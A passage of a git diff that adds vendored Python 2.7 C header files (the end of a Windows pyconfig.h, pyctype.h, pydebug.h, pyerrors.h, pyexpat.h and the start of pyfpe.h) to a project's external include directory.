sizeof(off_t). + On Win64 the second condition is not true, but if fpos_t replaces off_t + then this is true. The uses of HAVE_LARGEFILE_SUPPORT imply that Win64 + should define this. */ +# define HAVE_LARGEFILE_SUPPORT +#elif defined(MS_WIN32) +# define PLATFORM "win32" +# define HAVE_LARGEFILE_SUPPORT +# define SIZEOF_VOID_P 4 +# define SIZEOF_OFF_T 4 +# define SIZEOF_FPOS_T 8 +# define SIZEOF_HKEY 4 +# define SIZEOF_SIZE_T 4 + /* MS VS2005 changes time_t to an 64-bit type on all platforms */ +# if defined(_MSC_VER) && _MSC_VER >= 1400 +# define SIZEOF_TIME_T 8 +# else +# define SIZEOF_TIME_T 4 +# endif +#endif + +#ifdef _DEBUG +# define Py_DEBUG +#endif + + +#ifdef MS_WIN32 + +#define SIZEOF_SHORT 2 +#define SIZEOF_INT 4 +#define SIZEOF_LONG 4 +#define SIZEOF_LONG_LONG 8 +#define SIZEOF_DOUBLE 8 +#define SIZEOF_FLOAT 4 + +/* VC 7.1 has them and VC 6.0 does not. VC 6.0 has a version number of 1200. + Microsoft eMbedded Visual C++ 4.0 has a version number of 1201 and doesn't + define these. + If some compiler does not provide them, modify the #if appropriately. */ +#if defined(_MSC_VER) +#if _MSC_VER > 1300 +#define HAVE_UINTPTR_T 1 +#define HAVE_INTPTR_T 1 +#else +/* VC6, VS 2002 and eVC4 don't support the C99 LL suffix for 64-bit integer literals */ +#define Py_LL(x) x##I64 +#endif /* _MSC_VER > 1200 */ +#endif /* _MSC_VER */ + +#endif + +/* define signed and unsigned exact-width 32-bit and 64-bit types, used in the + implementation of Python long integers. */ +#ifndef PY_UINT32_T +#if SIZEOF_INT == 4 +#define HAVE_UINT32_T 1 +#define PY_UINT32_T unsigned int +#elif SIZEOF_LONG == 4 +#define HAVE_UINT32_T 1 +#define PY_UINT32_T unsigned long +#endif +#endif + +#ifndef PY_UINT64_T +#if SIZEOF_LONG_LONG == 8 +#define HAVE_UINT64_T 1 +#define PY_UINT64_T unsigned PY_LONG_LONG +#endif +#endif + +#ifndef PY_INT32_T +#if SIZEOF_INT == 4 +#define HAVE_INT32_T 1 +#define PY_INT32_T int +#elif SIZEOF_LONG == 4 +#define HAVE_INT32_T 1 +#define PY_INT32_T long +#endif +#endif + +#ifndef PY_INT64_T +#if SIZEOF_LONG_LONG == 8 +#define HAVE_INT64_T 1 +#define PY_INT64_T PY_LONG_LONG +#endif +#endif + +/* Fairly standard from here! */ + +/* Define to 1 if you have the `copysign' function. */ +#define HAVE_COPYSIGN 1 + +/* Define to 1 if you have the `isinf' macro. */ +#define HAVE_DECL_ISINF 1 + +/* Define to 1 if you have the `isnan' function. */ +#define HAVE_DECL_ISNAN 1 + +/* Define if on AIX 3. + System headers sometimes define this. + We just want to avoid a redefinition error message. */ +#ifndef _ALL_SOURCE +/* #undef _ALL_SOURCE */ +#endif + +/* Define to empty if the keyword does not work. */ +/* #define const */ + +/* Define to 1 if you have the header file. */ +#ifndef MS_WINCE +#define HAVE_CONIO_H 1 +#endif + +/* Define to 1 if you have the header file. */ +#ifndef MS_WINCE +#define HAVE_DIRECT_H 1 +#endif + +/* Define if you have dirent.h. */ +/* #define DIRENT 1 */ + +/* Define to the type of elements in the array set by `getgroups'. + Usually this is either `int' or `gid_t'. */ +/* #undef GETGROUPS_T */ + +/* Define to `int' if doesn't define. */ +/* #undef gid_t */ + +/* Define if your struct tm has tm_zone. */ +/* #undef HAVE_TM_ZONE */ + +/* Define if you don't have tm_zone but do have the external array + tzname. */ +#define HAVE_TZNAME + +/* Define to `int' if doesn't define. */ +/* #undef mode_t */ + +/* Define if you don't have dirent.h, but have ndir.h. */ +/* #undef NDIR */ + +/* Define to `long' if doesn't define. */ +/* #undef off_t */ + +/* Define to `int' if doesn't define. */ +/* #undef pid_t */ + +/* Define if the system does not provide POSIX.1 features except + with this defined. */ +/* #undef _POSIX_1_SOURCE */ + +/* Define if you need to in order for stat and other things to work. */ +/* #undef _POSIX_SOURCE */ + +/* Define as the return type of signal handlers (int or void). */ +#define RETSIGTYPE void + +/* Define to `unsigned' if doesn't define. */ +/* #undef size_t */ + +/* Define if you have the ANSI C header files. */ +#define STDC_HEADERS 1 + +/* Define if you don't have dirent.h, but have sys/dir.h. */ +/* #undef SYSDIR */ + +/* Define if you don't have dirent.h, but have sys/ndir.h. */ +/* #undef SYSNDIR */ + +/* Define if you can safely include both and . */ +/* #undef TIME_WITH_SYS_TIME */ + +/* Define if your declares struct tm. */ +/* #define TM_IN_SYS_TIME 1 */ + +/* Define to `int' if doesn't define. */ +/* #undef uid_t */ + +/* Define if the closedir function returns void instead of int. */ +/* #undef VOID_CLOSEDIR */ + +/* Define if getpgrp() must be called as getpgrp(0) + and (consequently) setpgrp() as setpgrp(0, 0). */ +/* #undef GETPGRP_HAVE_ARGS */ + +/* Define this if your time.h defines altzone */ +/* #define HAVE_ALTZONE */ + +/* Define if you have the putenv function. */ +#ifndef MS_WINCE +#define HAVE_PUTENV +#endif + +/* Define if your compiler supports function prototypes */ +#define HAVE_PROTOTYPES + +/* Define if you can safely include both and + (which you can't on SCO ODT 3.0). */ +/* #undef SYS_SELECT_WITH_SYS_TIME */ + +/* Define if you want documentation strings in extension modules */ +#define WITH_DOC_STRINGS 1 + +/* Define if you want to compile in rudimentary thread support */ +/* #undef WITH_THREAD */ + +/* Define if you want to use the GNU readline library */ +/* #define WITH_READLINE 1 */ + +/* Define if you want to have a Unicode type. */ +#define Py_USING_UNICODE + +/* Define as the size of the unicode type. */ +/* This is enough for unicodeobject.h to do the "right thing" on Windows. */ +#define Py_UNICODE_SIZE 2 + +/* Use Python's own small-block memory-allocator. */ +#define WITH_PYMALLOC 1 + +/* Define if you have clock. */ +/* #define HAVE_CLOCK */ + +/* Define when any dynamic module loading is enabled */ +#define HAVE_DYNAMIC_LOADING + +/* Define if you have ftime. */ +#ifndef MS_WINCE +#define HAVE_FTIME +#endif + +/* Define if you have getpeername. */ +#define HAVE_GETPEERNAME + +/* Define if you have getpgrp. */ +/* #undef HAVE_GETPGRP */ + +/* Define if you have getpid. */ +#ifndef MS_WINCE +#define HAVE_GETPID +#endif + +/* Define if you have gettimeofday. */ +/* #undef HAVE_GETTIMEOFDAY */ + +/* Define if you have getwd. */ +/* #undef HAVE_GETWD */ + +/* Define if you have lstat. */ +/* #undef HAVE_LSTAT */ + +/* Define if you have the mktime function. */ +#define HAVE_MKTIME + +/* Define if you have nice. */ +/* #undef HAVE_NICE */ + +/* Define if you have readlink. */ +/* #undef HAVE_READLINK */ + +/* Define if you have select. */ +/* #undef HAVE_SELECT */ + +/* Define if you have setpgid. */ +/* #undef HAVE_SETPGID */ + +/* Define if you have setpgrp. */ +/* #undef HAVE_SETPGRP */ + +/* Define if you have setsid. */ +/* #undef HAVE_SETSID */ + +/* Define if you have setvbuf. */ +#define HAVE_SETVBUF + +/* Define if you have siginterrupt. */ +/* #undef HAVE_SIGINTERRUPT */ + +/* Define if you have symlink. */ +/* #undef HAVE_SYMLINK */ + +/* Define if you have tcgetpgrp. */ +/* #undef HAVE_TCGETPGRP */ + +/* Define if you have tcsetpgrp. */ +/* #undef HAVE_TCSETPGRP */ + +/* Define if you have times. */ +/* #undef HAVE_TIMES */ + +/* Define if you have uname. */ +/* #undef HAVE_UNAME */ + +/* Define if you have waitpid. */ +/* #undef HAVE_WAITPID */ + +/* Define to 1 if you have the `wcscoll' function. */ +#ifndef MS_WINCE +#define HAVE_WCSCOLL 1 +#endif + +/* Define if you have the header file. */ +/* #undef HAVE_DLFCN_H */ + +/* Define to 1 if you have the header file. */ +#ifndef MS_WINCE +#define HAVE_ERRNO_H 1 +#endif + +/* Define if you have the header file. */ +#ifndef MS_WINCE +#define HAVE_FCNTL_H 1 +#endif + +/* Define to 1 if you have the header file. */ +#ifndef MS_WINCE +#define HAVE_PROCESS_H 1 +#endif + +/* Define to 1 if you have the header file. */ +#ifndef MS_WINCE +#define HAVE_SIGNAL_H 1 +#endif + +/* Define if you have the prototypes. */ +#define HAVE_STDARG_PROTOTYPES + +/* Define if you have the header file. */ +#define HAVE_STDDEF_H 1 + +/* Define if you have the header file. */ +/* #undef HAVE_SYS_AUDIOIO_H */ + +/* Define if you have the header file. */ +/* #define HAVE_SYS_PARAM_H 1 */ + +/* Define if you have the header file. */ +/* #define HAVE_SYS_SELECT_H 1 */ + +/* Define to 1 if you have the header file. */ +#ifndef MS_WINCE +#define HAVE_SYS_STAT_H 1 +#endif + +/* Define if you have the header file. */ +/* #define HAVE_SYS_TIME_H 1 */ + +/* Define if you have the header file. */ +/* #define HAVE_SYS_TIMES_H 1 */ + +/* Define to 1 if you have the header file. */ +#ifndef MS_WINCE +#define HAVE_SYS_TYPES_H 1 +#endif + +/* Define if you have the header file. */ +/* #define HAVE_SYS_UN_H 1 */ + +/* Define if you have the header file. */ +/* #define HAVE_SYS_UTIME_H 1 */ + +/* Define if you have the header file. */ +/* #define HAVE_SYS_UTSNAME_H 1 */ + +/* Define if you have the header file. */ +/* #undef HAVE_THREAD_H */ + +/* Define if you have the header file. */ +/* #define HAVE_UNISTD_H 1 */ + +/* Define if you have the header file. */ +/* #define HAVE_UTIME_H 1 */ + +/* Define if the compiler provides a wchar.h header file. */ +#define HAVE_WCHAR_H 1 + +/* Define if you have the dl library (-ldl). */ +/* #undef HAVE_LIBDL */ + +/* Define if you have the mpc library (-lmpc). */ +/* #undef HAVE_LIBMPC */ + +/* Define if you have the nsl library (-lnsl). */ +#define HAVE_LIBNSL 1 + +/* Define if you have the seq library (-lseq). */ +/* #undef HAVE_LIBSEQ */ + +/* Define if you have the socket library (-lsocket). */ +#define HAVE_LIBSOCKET 1 + +/* Define if you have the sun library (-lsun). */ +/* #undef HAVE_LIBSUN */ + +/* Define if you have the termcap library (-ltermcap). */ +/* #undef HAVE_LIBTERMCAP */ + +/* Define if you have the termlib library (-ltermlib). */ +/* #undef HAVE_LIBTERMLIB */ + +/* Define if you have the thread library (-lthread). */ +/* #undef HAVE_LIBTHREAD */ + +/* WinSock does not use a bitmask in select, and uses + socket handles greater than FD_SETSIZE */ +#define Py_SOCKET_FD_CAN_BE_GE_FD_SETSIZE + +/* Define if C doubles are 64-bit IEEE 754 binary format, stored with the + least significant byte first */ +#define DOUBLE_IS_LITTLE_ENDIAN_IEEE754 1 + +#endif /* !Py_CONFIG_H */ diff --git a/Extern/include/Python27/pyctype.h b/Extern/include/Python27/pyctype.h new file mode 100644 index 0000000..c5cc614 --- /dev/null +++ b/Extern/include/Python27/pyctype.h @@ -0,0 +1,31 @@ +#ifndef PYCTYPE_H +#define PYCTYPE_H + +#define PY_CTF_LOWER 0x01 +#define PY_CTF_UPPER 0x02 +#define PY_CTF_ALPHA (PY_CTF_LOWER|PY_CTF_UPPER) +#define PY_CTF_DIGIT 0x04 +#define PY_CTF_ALNUM (PY_CTF_ALPHA|PY_CTF_DIGIT) +#define PY_CTF_SPACE 0x08 +#define PY_CTF_XDIGIT 0x10 + +extern const unsigned int _Py_ctype_table[256]; + +/* Unlike their C counterparts, the following macros are not meant to + * handle an int with any of the values [EOF, 0-UCHAR_MAX]. The argument + * must be a signed/unsigned char. */ +#define Py_ISLOWER(c) (_Py_ctype_table[Py_CHARMASK(c)] & PY_CTF_LOWER) +#define Py_ISUPPER(c) (_Py_ctype_table[Py_CHARMASK(c)] & PY_CTF_UPPER) +#define Py_ISALPHA(c) (_Py_ctype_table[Py_CHARMASK(c)] & PY_CTF_ALPHA) +#define Py_ISDIGIT(c) (_Py_ctype_table[Py_CHARMASK(c)] & PY_CTF_DIGIT) +#define Py_ISXDIGIT(c) (_Py_ctype_table[Py_CHARMASK(c)] & PY_CTF_XDIGIT) +#define Py_ISALNUM(c) (_Py_ctype_table[Py_CHARMASK(c)] & PY_CTF_ALNUM) +#define Py_ISSPACE(c) (_Py_ctype_table[Py_CHARMASK(c)] & PY_CTF_SPACE) + +extern const unsigned char _Py_ctype_tolower[256]; +extern const unsigned char _Py_ctype_toupper[256]; + +#define Py_TOLOWER(c) (_Py_ctype_tolower[Py_CHARMASK(c)]) +#define Py_TOUPPER(c) (_Py_ctype_toupper[Py_CHARMASK(c)]) + +#endif /* !PYCTYPE_H */ diff --git a/Extern/include/Python27/pydebug.h b/Extern/include/Python27/pydebug.h new file mode 100644 index 0000000..0e7937d --- /dev/null +++ b/Extern/include/Python27/pydebug.h @@ -0,0 +1,40 @@ + +#ifndef Py_PYDEBUG_H +#define Py_PYDEBUG_H +#ifdef __cplusplus +extern "C" { +#endif + +PyAPI_DATA(int) Py_DebugFlag; +PyAPI_DATA(int) Py_VerboseFlag; +PyAPI_DATA(int) Py_InteractiveFlag; +PyAPI_DATA(int) Py_InspectFlag; +PyAPI_DATA(int) Py_OptimizeFlag; +PyAPI_DATA(int) Py_NoSiteFlag; +PyAPI_DATA(int) Py_BytesWarningFlag; +PyAPI_DATA(int) Py_UseClassExceptionsFlag; +PyAPI_DATA(int) Py_FrozenFlag; +PyAPI_DATA(int) Py_TabcheckFlag; +PyAPI_DATA(int) Py_UnicodeFlag; +PyAPI_DATA(int) Py_IgnoreEnvironmentFlag; +PyAPI_DATA(int) Py_DivisionWarningFlag; +PyAPI_DATA(int) Py_DontWriteBytecodeFlag; +PyAPI_DATA(int) Py_NoUserSiteDirectory; +/* _XXX Py_QnewFlag should go away in 3.0. It's true iff -Qnew is passed, + on the command line, and is used in 2.2 by ceval.c to make all "/" divisions + true divisions (which they will be in 3.0). */ +PyAPI_DATA(int) _Py_QnewFlag; +/* Warn about 3.x issues */ +PyAPI_DATA(int) Py_Py3kWarningFlag; + +/* this is a wrapper around getenv() that pays attention to + Py_IgnoreEnvironmentFlag. It should be used for getting variables like + PYTHONPATH and PYTHONHOME from the environment */ +#define Py_GETENV(s) (Py_IgnoreEnvironmentFlag ? NULL : getenv(s)) + +PyAPI_FUNC(void) Py_FatalError(const char *message); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_PYDEBUG_H */ diff --git a/Extern/include/Python27/pyerrors.h b/Extern/include/Python27/pyerrors.h new file mode 100644 index 0000000..dbe3bfa --- /dev/null +++ b/Extern/include/Python27/pyerrors.h @@ -0,0 +1,328 @@ +#ifndef Py_ERRORS_H +#define Py_ERRORS_H +#ifdef __cplusplus +extern "C" { +#endif + +/* Error objects */ + +typedef struct { + PyObject_HEAD + PyObject *dict; + PyObject *args; + PyObject *message; +} PyBaseExceptionObject; + +typedef struct { + PyObject_HEAD + PyObject *dict; + PyObject *args; + PyObject *message; + PyObject *msg; + PyObject *filename; + PyObject *lineno; + PyObject *offset; + PyObject *text; + PyObject *print_file_and_line; +} PySyntaxErrorObject; + +#ifdef Py_USING_UNICODE +typedef struct { + PyObject_HEAD + PyObject *dict; + PyObject *args; + PyObject *message; + PyObject *encoding; + PyObject *object; + Py_ssize_t start; + Py_ssize_t end; + PyObject *reason; +} PyUnicodeErrorObject; +#endif + +typedef struct { + PyObject_HEAD + PyObject *dict; + PyObject *args; + PyObject *message; + PyObject *code; +} PySystemExitObject; + +typedef struct { + PyObject_HEAD + PyObject *dict; + PyObject *args; + PyObject *message; + PyObject *myerrno; + PyObject *strerror; + PyObject *filename; +} PyEnvironmentErrorObject; + +#ifdef MS_WINDOWS +typedef struct { + PyObject_HEAD + PyObject *dict; + PyObject *args; + PyObject *message; + PyObject *myerrno; + PyObject *strerror; + PyObject *filename; + PyObject *winerror; +} PyWindowsErrorObject; +#endif + +/* Error handling definitions */ + +PyAPI_FUNC(void) PyErr_SetNone(PyObject *); +PyAPI_FUNC(void) PyErr_SetObject(PyObject *, PyObject *); +PyAPI_FUNC(void) PyErr_SetString(PyObject *, const char *); +PyAPI_FUNC(PyObject *) PyErr_Occurred(void); +PyAPI_FUNC(void) PyErr_Clear(void); +PyAPI_FUNC(void) PyErr_Fetch(PyObject **, PyObject **, PyObject **); +PyAPI_FUNC(void) PyErr_Restore(PyObject *, PyObject *, PyObject *); + +#ifdef Py_DEBUG +#define _PyErr_OCCURRED() PyErr_Occurred() +#else +#define _PyErr_OCCURRED() (_PyThreadState_Current->curexc_type) +#endif + +/* Error testing and normalization */ +PyAPI_FUNC(int) PyErr_GivenExceptionMatches(PyObject *, PyObject *); +PyAPI_FUNC(int) PyErr_ExceptionMatches(PyObject *); +PyAPI_FUNC(void) PyErr_NormalizeException(PyObject**, PyObject**, PyObject**); + +/* */ + +#define PyExceptionClass_Check(x) \ + (PyClass_Check((x)) || (PyType_Check((x)) && \ + PyType_FastSubclass((PyTypeObject*)(x), Py_TPFLAGS_BASE_EXC_SUBCLASS))) + +#define PyExceptionInstance_Check(x) \ + (PyInstance_Check((x)) || \ + PyType_FastSubclass((x)->ob_type, Py_TPFLAGS_BASE_EXC_SUBCLASS)) + +#define PyExceptionClass_Name(x) \ + (PyClass_Check((x)) \ + ? PyString_AS_STRING(((PyClassObject*)(x))->cl_name) \ + : (char *)(((PyTypeObject*)(x))->tp_name)) + +#define PyExceptionInstance_Class(x) \ + ((PyInstance_Check((x)) \ + ? (PyObject*)((PyInstanceObject*)(x))->in_class \ + : (PyObject*)((x)->ob_type))) + + +/* Predefined exceptions */ + +PyAPI_DATA(PyObject *) PyExc_BaseException; +PyAPI_DATA(PyObject *) PyExc_Exception; +PyAPI_DATA(PyObject *) PyExc_StopIteration; +PyAPI_DATA(PyObject *) PyExc_GeneratorExit; +PyAPI_DATA(PyObject *) PyExc_StandardError; +PyAPI_DATA(PyObject *) PyExc_ArithmeticError; +PyAPI_DATA(PyObject *) PyExc_LookupError; + +PyAPI_DATA(PyObject *) PyExc_AssertionError; +PyAPI_DATA(PyObject *) PyExc_AttributeError; +PyAPI_DATA(PyObject *) PyExc_EOFError; +PyAPI_DATA(PyObject *) PyExc_FloatingPointError; +PyAPI_DATA(PyObject *) PyExc_EnvironmentError; +PyAPI_DATA(PyObject *) PyExc_IOError; +PyAPI_DATA(PyObject *) PyExc_OSError; +PyAPI_DATA(PyObject *) PyExc_ImportError; +PyAPI_DATA(PyObject *) PyExc_IndexError; +PyAPI_DATA(PyObject *) PyExc_KeyError; +PyAPI_DATA(PyObject *) PyExc_KeyboardInterrupt; +PyAPI_DATA(PyObject *) PyExc_MemoryError; +PyAPI_DATA(PyObject *) PyExc_NameError; +PyAPI_DATA(PyObject *) PyExc_OverflowError; +PyAPI_DATA(PyObject *) PyExc_RuntimeError; +PyAPI_DATA(PyObject *) PyExc_NotImplementedError; +PyAPI_DATA(PyObject *) PyExc_SyntaxError; +PyAPI_DATA(PyObject *) PyExc_IndentationError; +PyAPI_DATA(PyObject *) PyExc_TabError; +PyAPI_DATA(PyObject *) PyExc_ReferenceError; +PyAPI_DATA(PyObject *) PyExc_SystemError; +PyAPI_DATA(PyObject *) PyExc_SystemExit; +PyAPI_DATA(PyObject *) PyExc_TypeError; +PyAPI_DATA(PyObject *) PyExc_UnboundLocalError; +PyAPI_DATA(PyObject *) PyExc_UnicodeError; +PyAPI_DATA(PyObject *) PyExc_UnicodeEncodeError; +PyAPI_DATA(PyObject *) PyExc_UnicodeDecodeError; +PyAPI_DATA(PyObject *) PyExc_UnicodeTranslateError; +PyAPI_DATA(PyObject *) PyExc_ValueError; +PyAPI_DATA(PyObject *) PyExc_ZeroDivisionError; +#ifdef MS_WINDOWS +PyAPI_DATA(PyObject *) PyExc_WindowsError; +#endif +#ifdef __VMS +PyAPI_DATA(PyObject *) PyExc_VMSError; +#endif + +PyAPI_DATA(PyObject *) PyExc_BufferError; + +PyAPI_DATA(PyObject *) PyExc_MemoryErrorInst; +PyAPI_DATA(PyObject *) PyExc_RecursionErrorInst; + +/* Predefined warning categories */ +PyAPI_DATA(PyObject *) PyExc_Warning; +PyAPI_DATA(PyObject *) PyExc_UserWarning; +PyAPI_DATA(PyObject *) PyExc_DeprecationWarning; +PyAPI_DATA(PyObject *) PyExc_PendingDeprecationWarning; +PyAPI_DATA(PyObject *) PyExc_SyntaxWarning; +PyAPI_DATA(PyObject *) PyExc_RuntimeWarning; +PyAPI_DATA(PyObject *) PyExc_FutureWarning; +PyAPI_DATA(PyObject *) PyExc_ImportWarning; +PyAPI_DATA(PyObject *) PyExc_UnicodeWarning; +PyAPI_DATA(PyObject *) PyExc_BytesWarning; + + +/* Convenience functions */ + +PyAPI_FUNC(int) PyErr_BadArgument(void); +PyAPI_FUNC(PyObject *) PyErr_NoMemory(void); +PyAPI_FUNC(PyObject *) PyErr_SetFromErrno(PyObject *); +PyAPI_FUNC(PyObject *) PyErr_SetFromErrnoWithFilenameObject( + PyObject *, PyObject *); +PyAPI_FUNC(PyObject *) PyErr_SetFromErrnoWithFilename( + PyObject *, const char *); +#ifdef MS_WINDOWS +PyAPI_FUNC(PyObject *) PyErr_SetFromErrnoWithUnicodeFilename( + PyObject *, const Py_UNICODE *); +#endif /* MS_WINDOWS */ + +PyAPI_FUNC(PyObject *) PyErr_Format(PyObject *, const char *, ...) + Py_GCC_ATTRIBUTE((format(printf, 2, 3))); + +#ifdef MS_WINDOWS +PyAPI_FUNC(PyObject *) PyErr_SetFromWindowsErrWithFilenameObject( + int, const char *); +PyAPI_FUNC(PyObject *) PyErr_SetFromWindowsErrWithFilename( + int, const char *); +PyAPI_FUNC(PyObject *) PyErr_SetFromWindowsErrWithUnicodeFilename( + int, const Py_UNICODE *); +PyAPI_FUNC(PyObject *) PyErr_SetFromWindowsErr(int); +PyAPI_FUNC(PyObject *) PyErr_SetExcFromWindowsErrWithFilenameObject( + PyObject *,int, PyObject *); +PyAPI_FUNC(PyObject *) PyErr_SetExcFromWindowsErrWithFilename( + PyObject *,int, const char *); +PyAPI_FUNC(PyObject *) PyErr_SetExcFromWindowsErrWithUnicodeFilename( + PyObject *,int, const Py_UNICODE *); +PyAPI_FUNC(PyObject *) PyErr_SetExcFromWindowsErr(PyObject *, int); +#endif /* MS_WINDOWS */ + +/* Export the old function so that the existing API remains available: */ +PyAPI_FUNC(void) PyErr_BadInternalCall(void); +PyAPI_FUNC(void) _PyErr_BadInternalCall(char *filename, int lineno); +/* Mask the old API with a call to the new API for code compiled under + Python 2.0: */ +#define PyErr_BadInternalCall() _PyErr_BadInternalCall(__FILE__, __LINE__) + +/* Function to create a new exception */ +PyAPI_FUNC(PyObject *) PyErr_NewException( + char *name, PyObject *base, PyObject *dict); +PyAPI_FUNC(PyObject *) PyErr_NewExceptionWithDoc( + char *name, char *doc, PyObject *base, PyObject *dict); +PyAPI_FUNC(void) PyErr_WriteUnraisable(PyObject *); + +/* In sigcheck.c or signalmodule.c */ +PyAPI_FUNC(int) PyErr_CheckSignals(void); +PyAPI_FUNC(void) PyErr_SetInterrupt(void); + +/* In signalmodule.c */ +int PySignal_SetWakeupFd(int fd); + +/* Support for adding program text to SyntaxErrors */ +PyAPI_FUNC(void) PyErr_SyntaxLocation(const char *, int); +PyAPI_FUNC(PyObject *) PyErr_ProgramText(const char *, int); + +#ifdef Py_USING_UNICODE +/* The following functions are used to create and modify unicode + exceptions from C */ + +/* create a UnicodeDecodeError object */ +PyAPI_FUNC(PyObject *) PyUnicodeDecodeError_Create( + const char *, const char *, Py_ssize_t, Py_ssize_t, Py_ssize_t, const char *); + +/* create a UnicodeEncodeError object */ +PyAPI_FUNC(PyObject *) PyUnicodeEncodeError_Create( + const char *, const Py_UNICODE *, Py_ssize_t, Py_ssize_t, Py_ssize_t, const char *); + +/* create a UnicodeTranslateError object */ +PyAPI_FUNC(PyObject *) PyUnicodeTranslateError_Create( + const Py_UNICODE *, Py_ssize_t, Py_ssize_t, Py_ssize_t, const char *); + +/* get the encoding attribute */ +PyAPI_FUNC(PyObject *) PyUnicodeEncodeError_GetEncoding(PyObject *); +PyAPI_FUNC(PyObject *) PyUnicodeDecodeError_GetEncoding(PyObject *); + +/* get the object attribute */ +PyAPI_FUNC(PyObject *) PyUnicodeEncodeError_GetObject(PyObject *); +PyAPI_FUNC(PyObject *) PyUnicodeDecodeError_GetObject(PyObject *); +PyAPI_FUNC(PyObject *) PyUnicodeTranslateError_GetObject(PyObject *); + +/* get the value of the start attribute (the int * may not be NULL) + return 0 on success, -1 on failure */ +PyAPI_FUNC(int) PyUnicodeEncodeError_GetStart(PyObject *, Py_ssize_t *); +PyAPI_FUNC(int) PyUnicodeDecodeError_GetStart(PyObject *, Py_ssize_t *); +PyAPI_FUNC(int) PyUnicodeTranslateError_GetStart(PyObject *, Py_ssize_t *); + +/* assign a new value to the start attribute + return 0 on success, -1 on failure */ +PyAPI_FUNC(int) PyUnicodeEncodeError_SetStart(PyObject *, Py_ssize_t); +PyAPI_FUNC(int) PyUnicodeDecodeError_SetStart(PyObject *, Py_ssize_t); +PyAPI_FUNC(int) PyUnicodeTranslateError_SetStart(PyObject *, Py_ssize_t); + +/* get the value of the end attribute (the int *may not be NULL) + return 0 on success, -1 on failure */ +PyAPI_FUNC(int) PyUnicodeEncodeError_GetEnd(PyObject *, Py_ssize_t *); +PyAPI_FUNC(int) PyUnicodeDecodeError_GetEnd(PyObject *, Py_ssize_t *); +PyAPI_FUNC(int) PyUnicodeTranslateError_GetEnd(PyObject *, Py_ssize_t *); + +/* assign a new value to the end attribute + return 0 on success, -1 on failure */ +PyAPI_FUNC(int) PyUnicodeEncodeError_SetEnd(PyObject *, Py_ssize_t); +PyAPI_FUNC(int) PyUnicodeDecodeError_SetEnd(PyObject *, Py_ssize_t); +PyAPI_FUNC(int) PyUnicodeTranslateError_SetEnd(PyObject *, Py_ssize_t); + +/* get the value of the reason attribute */ +PyAPI_FUNC(PyObject *) PyUnicodeEncodeError_GetReason(PyObject *); +PyAPI_FUNC(PyObject *) PyUnicodeDecodeError_GetReason(PyObject *); +PyAPI_FUNC(PyObject *) PyUnicodeTranslateError_GetReason(PyObject *); + +/* assign a new value to the reason attribute + return 0 on success, -1 on failure */ +PyAPI_FUNC(int) PyUnicodeEncodeError_SetReason( + PyObject *, const char *); +PyAPI_FUNC(int) PyUnicodeDecodeError_SetReason( + PyObject *, const char *); +PyAPI_FUNC(int) PyUnicodeTranslateError_SetReason( + PyObject *, const char *); +#endif + + +/* These APIs aren't really part of the error implementation, but + often needed to format error messages; the native C lib APIs are + not available on all platforms, which is why we provide emulations + for those platforms in Python/mysnprintf.c, + WARNING: The return value of snprintf varies across platforms; do + not rely on any particular behavior; eventually the C99 defn may + be reliable. +*/ +#if defined(MS_WIN32) && !defined(HAVE_SNPRINTF) +# define HAVE_SNPRINTF +# define snprintf _snprintf +# define vsnprintf _vsnprintf +#endif + +#include +PyAPI_FUNC(int) PyOS_snprintf(char *str, size_t size, const char *format, ...) + Py_GCC_ATTRIBUTE((format(printf, 3, 4))); +PyAPI_FUNC(int) PyOS_vsnprintf(char *str, size_t size, const char *format, va_list va) + Py_GCC_ATTRIBUTE((format(printf, 3, 0))); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_ERRORS_H */ diff --git a/Extern/include/Python27/pyexpat.h b/Extern/include/Python27/pyexpat.h new file mode 100644 index 0000000..5340ef5 --- /dev/null +++ b/Extern/include/Python27/pyexpat.h @@ -0,0 +1,48 @@ +/* Stuff to export relevant 'expat' entry points from pyexpat to other + * parser modules, such as cElementTree. */ + +/* note: you must import expat.h before importing this module! */ + +#define PyExpat_CAPI_MAGIC "pyexpat.expat_CAPI 1.0" +#define PyExpat_CAPSULE_NAME "pyexpat.expat_CAPI" + +struct PyExpat_CAPI +{ + char* magic; /* set to PyExpat_CAPI_MAGIC */ + int size; /* set to sizeof(struct PyExpat_CAPI) */ + int MAJOR_VERSION; + int MINOR_VERSION; + int MICRO_VERSION; + /* pointers to selected expat functions. add new functions at + the end, if needed */ + const XML_LChar * (*ErrorString)(enum XML_Error code); + enum XML_Error (*GetErrorCode)(XML_Parser parser); + XML_Size (*GetErrorColumnNumber)(XML_Parser parser); + XML_Size (*GetErrorLineNumber)(XML_Parser parser); + enum XML_Status (*Parse)( + XML_Parser parser, const char *s, int len, int isFinal); + XML_Parser (*ParserCreate_MM)( + const XML_Char *encoding, const XML_Memory_Handling_Suite *memsuite, + const XML_Char *namespaceSeparator); + void (*ParserFree)(XML_Parser parser); + void (*SetCharacterDataHandler)( + XML_Parser parser, XML_CharacterDataHandler handler); + void (*SetCommentHandler)( + XML_Parser parser, XML_CommentHandler handler); + void (*SetDefaultHandlerExpand)( + XML_Parser parser, XML_DefaultHandler handler); + void (*SetElementHandler)( + XML_Parser parser, XML_StartElementHandler start, + XML_EndElementHandler end); + void (*SetNamespaceDeclHandler)( + XML_Parser parser, XML_StartNamespaceDeclHandler start, + XML_EndNamespaceDeclHandler end); + void (*SetProcessingInstructionHandler)( + XML_Parser parser, XML_ProcessingInstructionHandler handler); + void (*SetUnknownEncodingHandler)( + XML_Parser parser, XML_UnknownEncodingHandler handler, + void *encodingHandlerData); + void (*SetUserData)(XML_Parser parser, void *userData); + /* always add new stuff to the end! */ +}; + diff --git a/Extern/include/Python27/pyfpe.h b/Extern/include/Python27/pyfpe.h new file mode 100644 index 0000000..19110ab --- /dev/null +++ b/Extern/include/Python27/pyfpe.h @@ -0,0 +1,176 @@ +#ifndef Py_PYFPE_H +#define Py_PYFPE_H +#ifdef __cplusplus +extern "C" { +#endif +/* + --------------------------------------------------------------------- + / Copyright (c) 1996. \ + | The Regents of the University of California. | + | All rights reserved. | + | | + | Permission to use, copy, modify, and distribute this software for | + | any purpose without fee is hereby granted, provided that this en- | + | tire notice is included in all copies of any software which is or | + | includes a copy or modification of this software and in all | + | copies of the supporting documentation for such software. | + | | + | This work was produced at the University of California, Lawrence | + | Livermore National Laboratory under contract no. W-7405-ENG-48 | + | between the U.S. Department of Energy and The Regents of the | + | University of California for the operation of UC LLNL. | + | | + | DISCLAIMER | + | | + | This software was prepared as an account of work sponsored by an | + | agency of the United States Government. Neither the United States | + | 